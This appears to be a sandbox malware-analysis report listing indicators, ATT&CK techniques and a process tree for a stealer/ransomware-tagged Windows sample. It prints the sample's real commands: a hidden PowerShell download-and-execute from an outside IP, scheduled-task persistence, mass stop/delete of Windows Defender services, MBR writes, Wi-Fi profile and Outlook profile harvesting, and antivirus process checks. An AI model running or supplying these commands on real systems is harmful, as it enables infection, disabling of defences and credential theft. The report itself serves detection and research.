Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KXtPusH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dfbd3cf05e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	77cb03ff92.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5020	netsh.exe
4972	cmd.exe
4676	netsh.exe
4912	cmd.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	KXtPusH.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	KXtPusH.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	d9ed73764e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	d9ed73764e.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5188	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2256	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3336	powershell.exe
3336	powershell.exe
4676	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
4676	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
5136	rapes.exe
5136	rapes.exe
4616	KXtPusH.exe
4616	KXtPusH.exe
4616	KXtPusH.exe
3100	KXtPusH.exe
3100	KXtPusH.exe
3100	KXtPusH.exe
3624	9c8014cd4f.exe
3624	9c8014cd4f.exe
1892	MSBuild.exe
1892	MSBuild.exe
1892	MSBuild.exe
1892	MSBuild.exe
3556	rapes.exe
3556	rapes.exe
1744	Passwords.com
1744	Passwords.com
1744	Passwords.com
1744	Passwords.com
1744	Passwords.com
1744	Passwords.com
4512	dfbd3cf05e.exe
4512	dfbd3cf05e.exe
4512	dfbd3cf05e.exe
4512	dfbd3cf05e.exe
4512	dfbd3cf05e.exe
4512	dfbd3cf05e.exe
3780	MSBuild.exe
3780	MSBuild.exe
3780	MSBuild.exe
3780	MSBuild.exe
1036	fontdrvhost.exe
1036	fontdrvhost.exe
1036	fontdrvhost.exe
1036	fontdrvhost.exe
1744	Passwords.com
1744	Passwords.com
1744	Passwords.com
1744	Passwords.com
5796	MSBuild.exe
5796	MSBuild.exe
5796	MSBuild.exe
5796	MSBuild.exe
2440	Rm3cVPI.exe
2440	Rm3cVPI.exe
2440	Rm3cVPI.exe
2440	Rm3cVPI.exe
1096	908d80d246.exe
1096	908d80d246.exe
1096	908d80d246.exe
1096	908d80d246.exe
1096	908d80d246.exe
1096	908d80d246.exe
6124	rapes.exe
6124	rapes.exe
1456	e548ce2a38.exe
1456	e548ce2a38.exe
4600	8477dff415.exe
4600	8477dff415.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
668	Process not Found
668	Process not Found

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeDebugPrivilege	4616	KXtPusH.exe
Token: SeDebugPrivilege	3100	KXtPusH.exe
Token: 33	4328	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4328	AUDIODG.EXE
Token: SeDebugPrivilege	4732	tasklist.exe
Token: SeDebugPrivilege	5176	tasklist.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1744	Passwords.com
1744	Passwords.com
1744	Passwords.com
4612	77cb03ff92.exe
4612	77cb03ff92.exe

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1744	Passwords.com
1744	Passwords.com
1744	Passwords.com
4612	77cb03ff92.exe
4612	77cb03ff92.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4336 wrote to memory of 2568	4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 4336 wrote to memory of 2568	4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 4336 wrote to memory of 2568	4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 4336 wrote to memory of 576	4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 4336 wrote to memory of 576	4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 4336 wrote to memory of 576	4336	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 2568 wrote to memory of 2256	2568	cmd.exe	89
PID 2568 wrote to memory of 2256	2568	cmd.exe	89
PID 2568 wrote to memory of 2256	2568	cmd.exe	89
PID 576 wrote to memory of 3336	576	mshta.exe	92
PID 576 wrote to memory of 3336	576	mshta.exe	92
PID 576 wrote to memory of 3336	576	mshta.exe	92
PID 3336 wrote to memory of 4676	3336	powershell.exe	97
PID 3336 wrote to memory of 4676	3336	powershell.exe	97
PID 3336 wrote to memory of 4676	3336	powershell.exe	97
PID 4676 wrote to memory of 5136	4676	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE	100
PID 4676 wrote to memory of 5136	4676	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE	100
PID 4676 wrote to memory of 5136	4676	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE	100
PID 5136 wrote to memory of 5840	5136	rapes.exe	104
PID 5136 wrote to memory of 5840	5136	rapes.exe	104
PID 5136 wrote to memory of 5840	5136	rapes.exe	104
PID 5840 wrote to memory of 4704	5840	apple.exe	105
PID 5840 wrote to memory of 4704	5840	apple.exe	105
PID 5840 wrote to memory of 4704	5840	apple.exe	105
PID 4704 wrote to memory of 6068	4704	261.exe	107
PID 4704 wrote to memory of 6068	4704	261.exe	107
PID 6068 wrote to memory of 3200	6068	cmd.exe	109
PID 6068 wrote to memory of 3200	6068	cmd.exe	109
PID 6068 wrote to memory of 3200	6068	cmd.exe	109
PID 3200 wrote to memory of 1200	3200	261.exe	110
PID 3200 wrote to memory of 1200	3200	261.exe	110
PID 1200 wrote to memory of 6024	1200	cmd.exe	112
PID 1200 wrote to memory of 6024	1200	cmd.exe	112
PID 1200 wrote to memory of 6084	1200	cmd.exe	113
PID 1200 wrote to memory of 6084	1200	cmd.exe	113
PID 1200 wrote to memory of 5188	1200	cmd.exe	114
PID 1200 wrote to memory of 5188	1200	cmd.exe	114
PID 1200 wrote to memory of 2036	1200	cmd.exe	115
PID 1200 wrote to memory of 2036	1200	cmd.exe	115
PID 1200 wrote to memory of 1668	1200	cmd.exe	116
PID 1200 wrote to memory of 1668	1200	cmd.exe	116
PID 1200 wrote to memory of 1084	1200	cmd.exe	117
PID 1200 wrote to memory of 1084	1200	cmd.exe	117
PID 1200 wrote to memory of 2892	1200	cmd.exe	118
PID 1200 wrote to memory of 2892	1200	cmd.exe	118
PID 1200 wrote to memory of 5260	1200	cmd.exe	119
PID 1200 wrote to memory of 5260	1200	cmd.exe	119
PID 1200 wrote to memory of 5796	1200	cmd.exe	120
PID 1200 wrote to memory of 5796	1200	cmd.exe	120
PID 1200 wrote to memory of 2876	1200	cmd.exe	121
PID 1200 wrote to memory of 2876	1200	cmd.exe	121
PID 1200 wrote to memory of 5152	1200	cmd.exe	122
PID 1200 wrote to memory of 5152	1200	cmd.exe	122
PID 1200 wrote to memory of 1832	1200	cmd.exe	123
PID 1200 wrote to memory of 1832	1200	cmd.exe	123
PID 1200 wrote to memory of 3232	1200	cmd.exe	124
PID 1200 wrote to memory of 3232	1200	cmd.exe	124
PID 1200 wrote to memory of 6000	1200	cmd.exe	125
PID 1200 wrote to memory of 6000	1200	cmd.exe	125
PID 1200 wrote to memory of 1376	1200	cmd.exe	126
PID 1200 wrote to memory of 1376	1200	cmd.exe	126
PID 1200 wrote to memory of 700	1200	cmd.exe	127
PID 1200 wrote to memory of 700	1200	cmd.exe	127
PID 1200 wrote to memory of 5892	1200	cmd.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	KXtPusH.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	KXtPusH.exe

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2632
- C:\Windows\SysWOW64\fontdrvhost.exe
  "C:\Windows\System32\fontdrvhost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1036

C:\Users\Admin\AppData\Local\Temp\2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4336
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn l05MEmayag9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\c7283LmOu.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn l05MEmayag9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\c7283LmOu.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2256
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\c7283LmOu.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:576
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3336
  - - C:\Users\Admin\AppData\Local\Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
      "C:\Users\Admin\AppData\Local\Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4676
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5136
      - C:\Users\Admin\AppData\Local\Temp\10416840101\apple.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10416840101\apple.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5840
        
        C:\Users\Admin\AppData\Local\Temp\261.exe
        
        "C:\Users\Admin\AppData\Local\Temp\261.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4704
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B594.tmp\B595.tmp\B596.bat C:\Users\Admin\AppData\Local\Temp\261.exe"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:6068
        
        C:\Users\Admin\AppData\Local\Temp\261.exe
        
        "C:\Users\Admin\AppData\Local\Temp\261.exe" go
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3200
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B630.tmp\B631.tmp\B632.bat C:\Users\Admin\AppData\Local\Temp\261.exe go"
        10⤵
        Drops file in Program Files directory
        Suspicious use of WriteProcessMemory
        
        PID:1200
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        11⤵
        Launches sc.exe
        
        PID:6024
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:6084
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:5188
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:2036
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:1668
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1084
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2892
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:5260
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:5796
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        11⤵
        
        PID:2876
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:5152
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:1832
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        11⤵
        
        PID:3232
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:6000
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:1376
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        11⤵
        
        PID:700
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        11⤵
        Launches sc.exe
        
        PID:5892
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        11⤵
        Launches sc.exe
        
        PID:5916
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        11⤵
        
        PID:3148
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:1572
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:4332
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        11⤵
        Modifies security service
        
        PID:1260
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:4352
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:4328
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        11⤵
        
        PID:4068
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:2360
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:888
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        11⤵
        
        PID:5524
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:8
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:3644
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        11⤵
        
        PID:3560
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:5740
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:5316
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        11⤵
        
        PID:5232
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:3264
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:4320
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        11⤵
        
        PID:3608
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:4312
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:1840
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        11⤵
        
        PID:5956
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:1616
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:5812
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        11⤵
        
        PID:5100
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:4596
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:5396
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        11⤵
        
        PID:3392
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:868
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:1512
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        11⤵
        
        PID:1680
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:5528
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:4376
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        11⤵
        
        PID:3740
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:4536
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:1744
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        11⤵
        
        PID:4548
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        11⤵
        
        PID:5320
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        11⤵
        
        PID:4520
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        11⤵
        
        PID:4564
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        11⤵
        
        PID:4224
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:3276
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        11⤵
        Launches sc.exe
        
        PID:3880
      - C:\Users\Admin\AppData\Local\Temp\10416950101\3sZiUQa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10416950101\3sZiUQa.exe"
        6⤵
        Executes dropped EXE
        
        PID:1044
      - C:\Users\Admin\AppData\Local\Temp\10417510101\KXtPusH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10417510101\KXtPusH.exe"
        6⤵
        Executes dropped EXE
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4616
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        7⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4972
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1000
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4676
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1012
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 2452
        7⤵
        Program crash
        
        PID:4976
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2660
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4072
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:1940
      - C:\Users\Admin\AppData\Local\Temp\10419010101\KXtPusH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10419010101\KXtPusH.exe"
        6⤵
        Executes dropped EXE
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:3100
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        7⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4912
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:412
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5020
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5052
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3100 -s 1868
        7⤵
        Program crash
        
        PID:4212
      - C:\Users\Admin\AppData\Local\Temp\10419020101\3sZiUQa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10419020101\3sZiUQa.exe"
        6⤵
        Executes dropped EXE
        
        PID:3008
      - C:\Users\Admin\AppData\Local\Temp\10419030101\9c8014cd4f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10419030101\9c8014cd4f.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Writes to the Master Boot Record (MBR)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3624
      - C:\Users\Admin\AppData\Local\Temp\10419040101\h8NlU62.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10419040101\h8NlU62.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1072
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1892
      - C:\Users\Admin\AppData\Local\Temp\10419050101\7IIl2eE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10419050101\7IIl2eE.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:724
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:648
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4732
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4988
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5176
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5048
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 418377
        8⤵
